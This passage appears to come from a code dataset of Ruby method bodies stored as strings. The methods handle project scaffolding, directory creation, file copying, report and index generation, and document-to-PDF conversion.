'sakai-trusted-authn' \" + cookietoken\n\n # Run the command line (run wkhtmltopdf)\n `#{line}`\n\n # We read the content from the pdf in the PDF directory\n content = open(filename_p, 'rb') { |f| f.read }\n\n # We post it to server through this function\n post_pdf_to_server id, content\n @s.execute_post @s.url_for(\"p/#{id}\"), {\"sakai:processing_failed\" => \"false\"}\n #Change dir\n Dir.chdir DOCS_DIR\n else\n @s.execute_post @s.url_for(\"p/#{id}\"), {\"sakai:processing_failed\" => \"true\"}\n log \"PDF Converter (wkhtmltopdf) not present in directory\"\n log \"Cannot convert Sakai document to PDF\"\n log \"Continuing without conversion\"\n end\n end\n rescue Exception => msg\n # Output a timestamp + the error message whenever an exception is raised\n # and flag this file as failed for processing.\n log \"error generating preview/thumbnail (ID: #{id}): #{msg.inspect}\\n#{msg.backtrace.join(\"\\n\")}\", :warn\n @s.execute_post @s.url_for(\"p/#{id}\"), {\"sakai:processing_failed\" => \"true\"}\n ensure\n # No matter what we flag the file as processed and delete the temp copied file.\n @s.execute_post @s.url_for(\"p/#{id}\"), {\"sakai:needsprocessing\" => \"false\"}\n FileUtils.rm_f DOCS_DIR + \"/#{filename}\"\n end\n end\n\n FileUtils.remove_dir PDFS_DIR\n FileUtils.remove_dir PREV_DIR\n FileUtils.remove_dir DOCS_DIR\nend", "def process()\n @file_info = FileInfoFile.new(@file_info_file)\n @namespace = @file_info.default_namespace\n \n namespaces_file = NamespacesFile.new(@uploads_directory, @scan_only)\n namespaces_file.add_namespace(@namespace)\n namespaces_file.write()\n @prefix = namespaces_file.prefix(@namespace)\n \n create_image_files_where_needed()\n end", "def run\n\t\tself.print_hosts # generate all the host_*.html files\n\t\tself.print_index # generate the index.html file\n\t\tself.print_vulns # generate all the vuln_*.html files\n\t\tself.print_vuln_overview # generate the vuln_overview.html file\n\tend", "def generate_index_files\n @folders.each do |folder, files|\n puts \" + Creating #{@dest}/#{folder}/index.html\" if @verbose\n File.open(\"#{@dest}/#{folder}/index.html\", \"w\") do |index|\n title = \"Rails Plug-in for #@name #@version\"\n index.write(\"<html><head><title>#{title}</title></head>\\n\")\n index.write(\"<body>\\n\")\n index.write(\"<h2>#{title}</h2>\\n\")\n extra_links = create_extra_links()\n index.write(\"<p>#{extra_links}</p>\\n\") if extra_links \n files.each { |fn|\n puts(\" - Adding #{fn}\") if @verbose\n index.write(\"&nbsp;&nbsp;<a href=\\\"#{fn}\\\">#{fn}</a><br/>\\n\")\n }\n index.write(\"<hr size=\\\"1\\\"/><p style=\\\"font-size: x-small\\\">Generated with RailsPluginPackageTask<p>\")\n index.write(\"</body>\\n\")\n index.write(\"</html>\\n\")\n end\n end\n end", "def start\n setup_files\n create_report\nend", "def process\n\t\t\t\tbegin\n\t\t\t\t\t@site_name = self.args.join\n\t\t\t\t\tFileUtils.mkdir @site_name\n\t\t\t\t\tFileUtils.cp_r Dir.glob(File.expand_path('../../../new_site', __FILE__) + '/*'), File.join(self.source, @site_name)\n\t\t\t\t\tFileUtils.mkdir_p File.join(self.source, @site_name, \"media\")\n\t\t\t\t\tFileUtils.mkdir_p File.join(self.source, @site_name, \"pages\")\n\t\t\t\t\tFileUtils.mkdir_p File.join(self.source, @site_name, \"media/images\")\n\t\t\t\t\tFileUtils.mkdir_p File.join(self.source, @site_name, \"media/videos\")\n\t\t\t\t\tFileUtils.mkdir_p File.join(self.source, @site_name, \"media/sounds\")\n\t\t\t\t\tFileUtils.mkdir_p File.join(self.source, @site_name, \"includes\")\n\t\t\t\t\tFileUtils.mkdir_p File.join(self.source, @site_name, \"plugins\")\n\t\t\t\t\tFileUtils.mkdir_p File.join(self.source, @site_name, \"extras\")\n\t\t\t\t\tdefault_page\n\n\t\t\t\t\tp \"#{@site_name} created.\"\n\t\t\t\trescue Exception => e\n\t\t\t\t\tp e\n\t\t\t\tend\n\t\t\tend", "def generate_index_files\n @folders.each do |folder, files|\n puts \" + Creating #{@dest}/#{folder}/index.html\" if @verbose\n File.open(\"#{@dest}/#{folder}/index.html\", \"w\") do |index|\n title = \"Rails Plug-in for #@name #@version\"\n index.write(\"<html><head><title>#{title}</title></head>\\n\")\n index.write(\"<body>\\n\")\n index.write(\"<h2>#{title}</h2>\\n\")\n extra_links = create_extra_links()\n index.write(\"<p>#{extra_links}</p>\\n\") if extra_links\n files.each { |fn|\n puts(\" - Adding #{fn}\") if @verbose\n index.write(\"&nbsp;&nbsp;<a href=\\\"#{fn}\\\">#{fn}</a><br/>\\n\")\n }\n index.write(\"<hr size=\\\"1\\\"/><p style=\\\"font-size: x-small\\\">Generated with RailsPluginPackageTask<p>\")\n index.write(\"</body>\\n\")\n index.write(\"</html>\\n\")\n end\n end\n end", "def run!\n begin\n found = Project.find(@dir)\n rescue MissingProject\n ask_questions!\n make_directories!\n create_config!\n copy_sources!\n say color(\"Your project was created\", :green)\n say Montage::Commands::BLANK\n else\n raise Montage::ProjectExists, <<-ERROR.compress_lines\n A Montage project exists in a parent directory at\n `#{found.paths.root}'\n ERROR\n end\n end", "def setup_skeleton\r\n self.destination_root = File.join(path, name)\r\n @class_name = name.classify\r\n @guid = UUIDTools::UUID.timestamp_create.to_s\r\n directory(\"base_app/\", self.destination_root)\r\n copy_file File.join(self.destination_root, \"blend_solution.sln\"), File.join(self.destination_root, \"#{@class_name}.sln\")\r\n copy_file File.join(self.destination_root, \"src\", \"ironnails_controls.csproj\"), File.join(self.destination_root, \"src\", \"#{@class_name}.Controls.csproj\")\r\n remove_file File.join(self.destination_root, \"blend_solution.sln\")\r\n remove_file File.join(self.destination_root, \"src\", \"ironnails_controls.csproj\")\r\n\r\n store_component_config('.components')\r\n end", "def create_files\n\n # remove_dir('modules') # todo remove the dirs to test\n empty_directory('modules') unless Dir.exist?('modules')\n\n empty_directory \"#{module_path}\"\n empty_directory \"#{module_path}/app\"\n empty_directory \"#{module_path}/app/controllers\"\n empty_directory \"#{module_path}/app/models\"\n empty_directory \"#{module_path}/app/helpers\"\n empty_directory \"#{module_path}/app/views\"\n empty_directory \"#{module_path}/config\"\n empty_directory \"#{module_path}/config/initializers\"\n empty_directory \"#{module_path}/config/locals\"\n empty_directory \"#{module_path}/db\"\n empty_directory \"#{module_path}/db/migrate\"\n empty_directory \"#{module_path}/lib\"\n\n\n copy_file 'routes.rb', \"#{module_path}/config/routes.rb\" # 路由文件\n\n end", "def build!\n create_output_directory\n spec.source_directories.each { |d| simple_compile_directory(d) }\n compile_files(spec.all_javascript_paths)\n compile_files(spec.all_stylesheet_paths)\n write_manifest\n end", "def process_directory\n Dir.foreach(@source) do |f|\n next unless f.match(/[a-z]{2}[0-9]{3}[a-z]{2}[0-9]{4}\\.xml/)\n druid = get_druid_from_filename(f)\n mods_file = MODSFile.new(Nokogiri::XML(File.open(File.join(@source, f))), @template_xml, @namespace)\n process_mods_file(mods_file, druid)\n end\n write_output if @analysis_only == false\n report_data_loss\n end", "def gen_sub_directories\n\t\[email protected]\n\tend", "def gen_sub_directories\n\t\[email protected]\n\tend", "def gen_sub_directories\n @outputdir.mkpath\n end", "def create_app_folder_structure\n puts \"Create #{name} folder structure\"\n end", "def setup\n @testnum += 1\n @tempdirname = \".ocratest-#{$$}-#{@testnum}\"\n Dir.mkdir @tempdirname\n Dir.chdir @tempdirname\n end", "def execute(input)\n dsl = read_dsl\n output_dir = dsl.issen.output_dir\n create_root_dir(output_dir)\n create_files_and_dirs(input, output_dir)\n end", "def create_source_files\n empty_directory(File.join(target_dir, \"lib/kitchen/driver\"))\n\n create_template(\n \"version.rb.erb\",\n \"lib/kitchen/driver/#{name}_version.rb\"\n )\n create_template(\n \"driver.rb.erb\",\n \"lib/kitchen/driver/#{name}.rb\"\n )\n end", "def create_collection\n Dir.mkdir @src_path\n end", "def mkdir_p_folders\n [systems_folder, images_systems_folder, data_systems_folder, pages_score_folder].each do |dossier|\n FileUtils.mkdir_p(dossier)\n end\nend", "def run\n assets.each do |asset|\n next if ::File.directory?(asset)\n\n compress(asset)\n checksum(asset)\n end\n\n generate_manifest\n end", "def generate\n setup\n\n write_style_sheet\n generate_index\n generate_class_files\n generate_file_files\n generate_table_of_contents\n @json_index.generate\n @json_index.generate_gzipped\n\n copy_static\n\n rescue => e\n debug_msg \"%s: %s\\n %s\" % [\n e.class.name, e.message, e.backtrace.join(\"\\n \")\n ]\n\n raise\n end", "def create_core_files\n empty_directory(target_dir)\n\n create_template(\"CHANGELOG.md.erb\", \"CHANGELOG.md\")\n create_template(\"Gemfile.erb\", \"Gemfile\")\n create_template(\"Rakefile.erb\", \"Rakefile\")\n create_template(\"README.md.erb\", \"README.md\")\n create_template(\"gemspec.erb\", \"#{config[:gem_name]}.gemspec\")\n create_template(\"license_#{config[:license]}.erb\", license_filename)\n create_template(\"gitignore.erb\", \".gitignore\")\n create_template(\"tailor.erb\", \".tailor\")\n create_template(\"travis.yml.erb\", \".travis.yml\")\n create_file(File.join(target_dir, \".cane\"))\n end", "def run_scaffolds\n @file.each_pair do |class_name, spec|\n args = []\n args << class_name \n args += spec[\"fields\"].map do |field|\n \"#{field[\"name\"]}:#{field[\"type\"]}\"\n end\n args << '--timestamps'\n Rails::Generators.invoke \"rails:scaffold\", args\n end\n end", "def setup\n FileUtils.mkdir_p(data_path)\n end", "def setup\n FileUtils.mkdir_p(data_path)\n end", "def collect_files(set)\n printf(\"@I:Collect Files\\n\")\n \n # Make Director\n Common.make_dir(\"#{@SRC_DIR}\")\n printf(\"@I:Make direcory to save src- %s\\n\",@SRC_DIR)\n @set = set\n \n # Expand Path\n @MACROData.each do |tmp|\n tmp2 = tmp[1]\n tmp2.each do |tmp3|\n result = /^\\$\\{(\\w*)\\}.*/ =~ tmp3[1]\n if result == 0\n path = @set[\"#{$1}\"]\n if path == nil\n $ERROR_CNT += 1\n printf(\"@E:Not found environment path\\(\\$\\{%s\\}\\), pleae chek parameter file\\n\",$1)\n print_summary\n exit\n end\n macro = \"${\" + $1 + \"}\"\n tmp3[1] = tmp3[1].sub(\"#{macro}\",\"#{path}\")\n end\n end\n end\n \n # Copy files to work direcotry & make Readme.txt\n readme = @SRC_DIR + \"/00Readme.txt\"\n f = open(readme,\"w\")\n print_file_header(f,\"Copied files from parts file\")\n f.printf(\"#\\n\");\n f.printf(\"# Execute Information\\n\")\n f.printf(\"#\\n\")\n f.printf(\"# [PARAMETER]\");f.printf(\"%s\\n\",$PARAMETER_FILE) \n f.printf(\"# [REPORT ]\");f.printf(\"%s\\n\",$REPORT_FILE) \n f.printf(\"# [PARTS ]\");f.printf(\"%s\\n\",$PARTS_FILE) \n f.printf(\"# [CONNECT ]\");f.printf(\"%s\\n\",$CONNECT_FILE) \n f.printf(\"#\\n\");\n @MACROData.each do |tmp|\n tmp2 = tmp[1]\n tmp2.each do |file|\n if File::exists?(file[1]) == true\n FileUtils.install(file[1],@SRC_DIR + \"/\" + File.basename(file[1]), :mode => 0400 )\n f.printf(\"[MACRO Name]%s: %s\\n\", tmp[0], file[1])\n else\n $WARNING_CNT += 1\n printf(\"@W-parts001:%s is not exist\\n\",file[1])\n f.printf(\"[MACRO Name]%s: %s\\n -!!CAUTION!!There is no original file.\\n\", tmp[0],file[1])\n end\n end\n end\n f.close\n if $VERBOSE == true\n printf(\"@I:Print copied file\\n\")\n system (\"ls -al #{@SRC_DIR}\")\n end\n \n printf(\"@I:Collect Files Done\\n\")\n \n end", "def setup\n switch_dir\n end", "def _init_filesystem\n\t\t# Prepare temporary work directory\n\t\tcommand_send(\"sudo rm -rf /tmp/.captain\")\n\t\tcommand_send(\"mkdir -p /tmp/captain/transfers\")\n\t\tcommand_send(\"mkdir -p /tmp/captain/checkpoints/export\")\n\t\tcommand_send(\"mkdir -p /tmp/captain/checkpoints/import\")\n\tend", "def prepare\n FileUtils.rm_rf(output_dir)\n FileUtils.mkdir_p(output_dir)\n end", "def prepare\n FileUtils.rm_rf(output_dir)\n FileUtils.mkdir_p(output_dir)\n end", "def run\n @files.each do |file|\n generate_tracklist(file)\n end\n end", "def run\n\t\tif File.exists? @outdir then\n\t\t\t$stderr.puts \"*error: #{@outdir} exists\"\n\t\t\t$stderr.puts \"Remove/move, just do something!\"\n\t\t\texit 1\n\t\tend\n\n\t\twriteInitialContents\n\t\texpandContents\n\t\tperformEquation\n\n\t\tDir.mkdir @outdir\n\t\twritePlist\n\t\twriteHints\n\t\tclean\n\tend", "def run_it\n run_through_directory\n file_array_parser\n remove_initial_and_format_change\n array_to_hash\n final_name_info\n create_goal_file\nend", "def create\n in_directory do\n # Create files\n build \"cv.tex\"\n File.rename(\"cv.tex\", \"main.tex\")\n build \"Makefile\"\n end\n end", "def run(*args)\n files = args.select { |arg| arg !~ /^-/ }\n\n files = parse_files(files)\n examples = parse_examples(files)\n\n add_pwd_to_path\n\n generate_tests(examples)\n run_tests\n end", "def make_directory_tree\n project_tmp = \"/tmp/#{@package_name}\"\n @scratch = \"#{project_tmp}/#{@title}\"\n @working_tree = {\n 'scripts' => \"#{@scratch}/scripts\",\n 'resources' => \"#{@scratch}/resources\",\n 'working' => \"#{@scratch}/root\",\n 'payload' => \"#{@scratch}/payload\",\n }\n puts \"Cleaning Tree: #{project_tmp}\"\n FileUtils.rm_rf(project_tmp)\n @working_tree.each do |key,val|\n puts \"Creating: #{val}\"\n FileUtils.mkdir_p(val)\n end\n File.open(\"#{@scratch}/#{'prototype.plist'}\", \"w+\") do |f|\n f.write(ERB.new(File.read('tasks/templates/prototype.plist.erb')).result())\n end\n File.open(\"#{@working_tree[\"scripts\"]}/preflight\", \"w+\") do |f|\n f.write(ERB.new(File.read('ext/osx/preflight.erb')).result())\n end\nend", "def main\r\n puts \"Started\"\r\n Dir.foreach(@rootdir) {|filename|\r\n if filename =~ /.*[.]pbl/i\r\n this_filename = File.basename(filename.downcase, '.pbl')\r\n unless this_filename == @applpbl.downcase\r\n pathname = (@rootdir + '\\\\' + filename).downcase\r\n new_dir = @rootdir + '\\\\' + File.basename(filename.downcase, '.pbl') + '\\\\'\r\n puts pathname\r\n puts new_dir\r\n Dir.mkdir new_dir\r\n FileUtils.move pathname, new_dir\r\n end\r\n end \r\n }\r\n update_lib_path_file\r\n puts \"Done\"\r\nend", "def run\n check_files_exist\n\n file_metadata = UploadFilesMetadataBuilder.build(files: files, mime_types: mime_types, basepath: basepath)\n upload_responses = UploadFiles.upload(file_metadata: file_metadata,\n filepath_map: filepath_map,\n logger: logger,\n connection: connection)\n metadata_builder = MetadataBuilder.new(metadata: metadata,\n grouping_strategy: grouping_strategy,\n file_set_type_strategy: file_set_type_strategy,\n logger: logger)\n request = metadata_builder.with_uploads(upload_responses)\n model = Cocina::Models.build_request(request.as_json.with_indifferent_access)\n CreateResource.run(accession: @accession,\n priority: @priority,\n assign_doi: @assign_doi,\n metadata: model,\n logger: logger,\n connection: connection)\n end", "def generate_flux_input_files\n # At the moment we must use subfolders\n for i in 0...n_flux_tubes\n #gs2run = gs2_run(:base).dup\n #gs2_run(i).instance_variables.each do |var|\n #gs2run.instance_variable_set(var, gs2_run(i).instance_variable_get(var))\n #end\n fluxrun = flux_runs[i]\n #ep ['gs2_runs[i] in generate', gs2_runs[i].nwrite]\n #p ['i',i]\n #if i >= n_flux_tubes_jac\n #jn = i - n_flux_tubes_jac + 1\n #run_name = \"calibrate_\" + @run_name + (jn).to_s\n #folder = \"calibrate_#{jn}\"\n #else\n #jn = i + 1\n #run_name = @run_name + (jn).to_s\n #folder = \"flux_tube_#{jn}\"\n #end\n\n folder = flux_folder_name(i)\n run_name = flux_run_name(i)\n\n if @subfolders and @subfolders.fortran_true?\n fluxrun.directory = @directory + \"/\" + folder\n FileUtils.makedirs(fluxrun.directory)\n fluxrun.relative_directory = @relative_directory + \"/\" + folder\n fluxrun.restart_dir = fluxrun.directory + \"/nc\"\n else\n fluxrun.directory = @directory\n fluxrun.relative_directory = @relative_directory\n end\n fluxrun.run_name = run_name\n fluxrun.nprocs = @nprocs\n if i==0\n block = Proc.new{check_parameters}\n else\n block = Proc.new{}\n end\n #if @restart_id\n #gs2run.restart_id =\n Dir.chdir(fluxrun.directory) do\n fluxrun.generate_input_file(&block)\n fluxrun.write_info\n end\n\n ### Hack the input file so that gs2 gets the location of\n # the restart dir correctly within trinity\n if @subfolders and @subfolders.fortran_true? \n infile = fluxrun.directory + \"/\" + fluxrun.run_name + \".in\"\n text = File.read(infile)\n File.open(infile, 'w'){|f| f.puts text.sub(/restart_dir\\s*=\\s*\"nc\"/, \"restart_dir = \\\"#{folder}/nc\\\"\")}\n end\n end\n end", "def execute\n\n logger = Logger.new(\"/dev/null\")\n logger.level = Logger::WARN\n log_adapter = JerichoLoggerAdapter.new(logger)\n\n perl_pages = File.join(top_git_directory, 'java/code/**/*.{jsp,jspf}')\n java_pages = File.join(top_git_directory, 'web//**/*.{pxt, pxi}')\n [perl_pages, java_pages].each do |pages|\n Dir.glob(pages).each do |path|\n content = File.read(path)\n on_file_start(content, path)\n source = Source.new(content)\n source.setLogger(log_adapter)\n out = OutputDocument.new(source)\n\n tags = source.getAllStartTags\n tags.each do |tag|\n if applicable?(tag)\n process_tag(source, out, tag, path)\n end\n end\n\n on_file_changed(content, out.toString, path)\n on_file_done(path)\n end\n end\n\n Dir.glob(File.join(top_git_directory, 'java/code/**/*.{java}')).each do |path|\n content = File.read(path)\n on_file_start(content, path)\n on_file_done(path)\n end\n\n Dir.glob(File.join(top_git_directory, 'web/**/*.{pm}')).each do |path|\n content = File.read(path)\n on_file_start(content, path)\n on_file_done(path)\n end\n\n on_done\n end", "def run!\n # Validate paths\n validate_paths!\n \n # Extract mockup\n copy_source_path_to_build_path!\n \n validate_stack!\n \n # Run stack\n run_stack!\n \n # Run finalizers\n run_finalizers!\n \n # Cleanup\n cleanup! if self.config[:cleanup_build]\n \n end", "def setup_files\n create_application_rb\n create_production_rb\n end", "def start(_files); end", "def run\n files_to_inspect.each do |path|\n SourceFile.new(\n linter_config: linter_config,\n io: io,\n path: path,\n root: root\n ).process\n end\n end", "def run\n puts \"\\nHere we go!\\n\\n\"\n make_output_directory\n build_jar\n create_android\n include_www\n generate_manifest\n copy_libs\n add_name_to_strings\n write_java\n puts \"\\nDone!\\n\\n\"\n `open #{@output_dir}`\n end", "def build()\n\t`rm -rf recordings/`\n\t`mkdir recordings`\n\t`rm -rf chapters/`\n\t`mkdir chapters`\n\t`rm -rf outputList.txt`\n\t`touch outputList.txt`\nend", "def setup_run_artifacts\n FileUtils.mkdir_p(\"./#{Dir.glob(\"#{$VALUE}/\").max_by { |f| File.mtime(f) }}test_logs\")\n FileUtils.mkdir_p(\"./#{Dir.glob(\"#{$VALUE}/\").max_by { |f| File.mtime(f) }}test_report\")\n FileUtils.mkdir_p(\"./#{Dir.glob(\"#{$VALUE}/\").max_by { |f| File.mtime(f) }}test_results\")\n FileUtils.mkdir_p(\"./#{Dir.glob(\"#{$VALUE}/\").max_by { |f| File.mtime(f) }}test_screenshots\") unless File.exist?(\"./#{Dir.glob(\"#{$VALUE}/\").max_by { |f| File.mtime(f) }}test_screenshots\")\nend", "def post_process(file)\n if File.basename(file.to_s).match(/library/)\n oldfile = file\n file = file.to_s.sub(\"library\", @options[:lib_name_u])\n FileUtils.mv(oldfile, file)\n end\n if File.dirname(file.to_s).split(\"/\").last == \"library\"\n origdir = File.dirname(file.to_s)\n dirarr = origdir.split(\"/\")\n dirarr[dirarr.size-1] = @options[:lib_name_u]\n new_dir = File.join(dirarr)\n mkdir(new_dir)\n oldfile = file\n file = File.join(new_dir, File.basename(file))\n FileUtils.mv(oldfile, file)\n FileUtils.rmdir(origdir)\n end\n if file.to_s.match(/\\.seed$/)\n out_file = Pathname.new(file.to_s.sub(/\\.seed$/, ''))\n # Don't overwrite a file of the same name, unless they --force\n if copy_check(out_file)\n template = ::ERB.new(File.read(file))\n # This binding has access to any instance variables of\n # the ProjectCreator instance\n result = template.result(binding)\n File.open(file.to_s.sub(/\\.seed$/,''), 'w+') do |io|\n io.puts result\n end\n end\n # Remove the seed file whether we copied or not\n FileUtils.rm_f(file)\n end\n end", "def create\n create_directories\n end", "def generate(output_folder, types, version_name)\n generate_objects(output_folder, types, version_name)\n copy_files(output_folder) \\\n unless @config.files.nil? || @config.files.copy.nil?\n compile_examples(output_folder) unless @config.examples.nil?\n compile_changelog(output_folder) unless @config.changelog.nil?\n # Compilation has to be the last step, as some files (e.g.\n # CONTRIBUTING.md) may depend on the list of all files previously copied\n # or compiled.\n compile_files(output_folder, version_name) \\\n unless @config.files.nil? || @config.files.compile.nil?\n\n generate_datasources(output_folder, types, version_name) \\\n unless @config.datasources.nil?\n apply_file_acls(output_folder) \\\n unless @config.files.nil? || @config.files.permissions.nil?\n end", "def setup_filesystem\n FileUtils.mkdir_p($out_pth)\n FileUtils.mkdir_p($log_dir)\n end", "def run\n require 'find'\n\n # Get compiled files\n # FIXME: requires #build_reps to have been called\n all_raw_paths = site.compiler.reps.map(&:raw_path)\n compiled_files = all_raw_paths.flatten.compact.select { |f| File.file?(f) }\n\n # Get present files and dirs\n present_files = []\n present_dirs = []\n Find.find(site.config[:output_dir] + '/') do |f|\n present_files << f if File.file?(f)\n present_dirs << f if File.directory?(f)\n end\n\n # Remove stray files\n stray_files = (present_files - compiled_files)\n stray_files.each do |f|\n next if filename_excluded?(f)\n delete_file(f)\n end\n\n # Remove empty directories\n present_dirs.reverse_each do |dir|\n next if Dir.foreach(dir) { |n| break true if n !~ /\\A\\.\\.?\\z/ }\n next if filename_excluded?(dir)\n delete_dir(dir)\n end\n end", "def run\n executor.run\n @files.map { |file| File.join(@output_dir, file.relative_file_name) }\n end", "def process_files(sync_database)\n # Files to be copied\n copy_onedconf\n\n FILES.each do |file|\n copy_and_check(file[:name], file[:service])\n end\n\n # Folders to be copied\n FOLDERS.each do |folder|\n copy_folder(folder[:name], folder[:service])\n end\n\n restart_services\n\n # Sync database\n sync_db if sync_database\n end", "def createdirectories()\n\n\tputs \"\\n\" + '[ ' + yellow( 'RUNNING' ) + \" ] Setup\"\n\n\texecute \"mkdir -p #{fetch(:deploy_to)}releases\"\n\texecute \"mkdir -p #{shared_path}\"\n\n\tputs '[ ' + green( 'SUCCESS' ) + ' ]'\n\nend", "def create_work\n @files.each do |file|\n executor.queue { file.copy_file(@output_dir) }\n end\n end", "def run\n assets.each do |path|\n unless File.directory?(path)\n configuration = _configuration_for(path)\n process(Asset.new(path, configuration))\n end\n end\n\n write_manifest_file\n end", "def generate_populate_folder\n empty_directory 'db/populate'\n # copy_file \"template_filename\", \"final_directory\" # With this we will copy the file straigh from tempaltes folder to the final destination\n # template \"template_filename\", \"final_directory\" # With this we can pass arguments to the template\n # if option_name ...\n end", "def create\n create_checkpoints\n create_config_base\n generate_deploy_files\n generate_hiera_template\n end", "def run\n @files.each { |filename| load(filename) }\n end", "def run\n\t\tself.rsync_to_temp\n\t\tself.convert_to_mp3\n\t\tself.rsync_to_usb\n\t\tself.delete_temp_dir\n\tend", "def setup_dir_structure\n # insure that database dir exists so that a new db can be created if necessary\n if $config[\"database\"][\"adapter\"] == \"sqlite3\"\n FileUtils.mkpath(File.dirname($config[\"database\"][\"database\"]))\n end\n # ensure that log dirs exists and last $config[\"clamscan_log\"] is cleared before use\n FileUtils.mkpath(File.dirname($config[\"run_log\"]))\n FileUtils.mkpath(File.dirname($config[\"clamscan_log\"]))\nend", "def process()\n scan_dir('.', '.')\n end", "def static_setup (solocs)\n srcloc= `pwd`.strip\n puts \"setup: #{srcloc}\"\n=begin \n cp_r \"fonts\", \"#{TGT_DIR}/fonts\"\n mkdir_p \"#{TGT_DIR}/lib/shoes\"\n Dir.chdir \"#{TGT_DIR}/lib/shoes\" do\n Dir[\"#{srcloc}/lib/shoes/*.rb\"].each do |f|\n #puts \"SymLinking #{f}\"\n ln_s f, \".\" unless File.symlink? File.basename(f)\n end\n end\n Dir.chdir \"#{TGT_DIR}/lib\" do\n ln_s \"#{srcloc}/lib/shoes.rb\" , \"shoes.rb\" unless File.symlink? \"shoes.rb\"\n # link to exerb\n ln_s \"#{srcloc}/lib/exerb\", \"exerb\" unless File.symlink? \"exerb\"\n end\n \n #cp_r \"samples\", \"#{TGT_DIR}/samples\"\n mkdir_p \"#{TGT_DIR}/samples\"\n ['simple', 'good', 'expert'].each do |d|\n mkdir_p \"#{TGT_DIR}/samples/#{d}\"\n Dir.chdir \"#{TGT_DIR}/samples/#{d}\" do\n Dir[\"../../../samples/#{d}/*\"].each do |f|\n ln_s f, '.' unless File.symlink? File.basename(f)\n end\n end\n end\n=end\n ln_s \"#{srcloc}/lib\", TGT_DIR\n ln_s \"#{srcloc}/samples\", TGT_DIR\n ln_s \"#{srcloc}/static\", TGT_DIR\n ln_s \"#{srcloc}/fonts\", TGT_DIR\n\n cp \"README.md\", TGT_DIR\n cp \"CHANGELOG\", TGT_DIR\n cp \"COPYING\", TGT_DIR\n end", "def define\n desc \"Create Ruby on Rails plug-in package\"\n task :rails_plugin do\n @dest = \"#@package_dir/#{@name}_#{@version}\"\n makedirs(@dest,:verbose=>false)\n @plugin_files.each do |fn|\n cp(fn, @dest,:verbose=>false)\n add_file(File.basename(fn))\n end\n \n @package_files.each do |fn|\n puts \". #{fn}\" if verbose\n f = File.join(@dest, fn)\n fdir = File.dirname(f)\n unless File.exist?(fdir)\n mkdir_p(fdir,:verbose=>false)\n add_folder(\"#{fdir}/\")\n end\n if File.directory?(fn)\n mkdir_p(f,:verbose=>false)\n add_folder(\"#{fn}/\")\n else\n cp(fn, f, :verbose=>false)\n add_file(fn)\n end\n end\n \n generate_index_files()\n end\n end", "def setup!(delete=true)\n FileUtils.rm_rf(@root_dir) if File.exist?(@root_dir) and delete\n FileUtils.mkdir_p(@root_dir)\n FileUtils.mkdir_p(@files_dir)\n FileUtils.mkdir_p(@queues_dir)\n FileUtils.mkdir_p(@logs_dir)\n FileUtils.mkdir_p(@current_queue_dir)\n FileUtils.mkdir_p(@next_queue_dir)\n\n File.open(@error_log, 'w+') {|f|}\n File.open(@action_log, 'w+') {|f|}\n\n # the queue_version file contains the number of\n # switches from current->next queue.\n File.open(@queue_version, 'w+') {|f| f.puts \"0\"}\n end", "def scan!\n Dir.chdir(@path) do\n Find.find('.') do |file|\n next if file == '.'\n\n # ignore the ./\n file = file[2..-1]\n name = File.basename(file)\n\n # ignore certain files/directories\n Find.prune if IGNORE.include?(name)\n\n if File.directory?(file)\n @directories << file\n elsif File.file?(file)\n src = File.join(@path,file)\n\n case File.extname(name)\n when '.erb'\n # erb template\n if name.start_with?('_')\n # partial template\n template_dir = File.dirname(file)\n template_name = name[1..-1].chomp('.erb').to_sym\n\n @includes[template_dir][template_name] = src\n else\n dest = file.chomp('.erb')\n\n @templates[dest] = src\n end\n else\n # static file\n @files[file] = src\n end\n end\n end\n end\n end", "def run\n # the safe_create_module_files will render every file under the templates/module_files\n # folder in your gem and copy them to the destination.\n safe_create_module_files(template_dir, module_path, context)\n # Should you need to change the file name of the copied file you will have to move\n # the file outside of the module_files directory and\n # render it using: safe_create_template_file(file_path, template, context)\n cleanup(module_path, context.plugin_name)\n end", "def create_sandbox\n super\n prepare_supporting_psmodules\n prepare_copy_folders\n prepare_pester_tests\n prepare_helpers\n\n debug(\"\\n\\n\")\n debug(\"Sandbox content:\\n\")\n list_files(sandbox_path).each do |f|\n debug(\" #{f}\")\n end\n end", "def prepareDirectory( outputfn )\n scriptpath = File.dirname __FILE__\n cf = File.join scriptpath, \"conversion_files\"\n i = 0 \n max = 3\n\n print \"#\"*40, \"\\n\", \"Preparing Directory\\n\", \"#\"*40, \"\\n\\n\"\n\n phasePrint \"Create Base Folder / Check Dependencies\", i+=1, max\n # Make our base directory\n if not Dir.exists? outputfn\n FileUtils.mkdir_p outputfn\n end\n\n # See if our conversion_files folder exists, this is required\n if not Dir.exists? cf \n error \"Missing conversion_files folder:\\n#{cf}\\n\\nThe conversion process cannot continue.\"\n return nil\n end\n\n # Check for the python cache extracted folder\n if not Dir.exists? File.join( cf, \"python27\" ) and $options[:python]\n if not File.exists? cf+\"python27.zip\"\n error \"Missing packaged Python 2.7.8 installation folder or zip in conversion_files, this is required for the \\\"Include Python\\\"//\\\"--python\\\" option.\\n\\nThe conversion process cannot continue.\"\n return nil\n else\n # Extract our python27.zip folder\n phasePrint \"Extracting Python\", i+=0.5, max\n error \"Extracting python27.zip, this may take some time.\\n\\nIt is quicker to extract this by hand into the conversion_files folder using 7-zip or Peazip, as they are capable of using multiple cores.\"\n unzip \"#{cf}python27.zip\", cf\n end\n end\n\n i = i.floor if i.is_a? Float\n phasePrint \"Copying Python to Output Folder\", i+=1, max\n print \" This will take some time\\n\"\n # Copy Python over to the directory\n if not Dir.exists? File.join( outputfn, \"python27\" ) and $options[:python]\n FileUtils.cp_r File.join( cf, \"python27\" ), outputfn\n end\n\n phasePrint \"Initializing File Structure\", i+=1, max\n FileUtils.cp File.join( cf, \"run.bat\" ), outputfn\n\n FileUtils.cp_r File.join( cf, \"includes\" ), outputfn\n\n return File.new( File.join( outputfn, \"run_test.py\" ), \"w+:UTF-8\" )\nend", "def perform_file_copy\n\t\tretrieve_target_dir do |target_dir|\n\t\t\tFileUtils.mkdir_p target_dir\n\t\t\tcopy_depdencies_to target_dir\n\t\tend\t\n\tend", "def create_file_and_folder\n begin\n Dir::mkdir(@directory)\n rescue Errno::EEXIST\n end\n FileUtils.touch \"#{@directory}/#{@store}.yml\"\n end", "def run\n cd File.dirname(__FILE__) do\n # Set these values to what you want installed.\n bins = glob(%w[bin/facter])\n libs = glob(%w[lib/**/*.rb lib/facter/fixtures/* lib/facter/os_hierarchy.json\n lib/facter/fact_groups.conf lib/facter/templates/*])\n man = glob(%w{man/man[0-9]/*})\n\n prepare_installation\n\n do_bins(bins, InstallOptions.bin_dir)\n 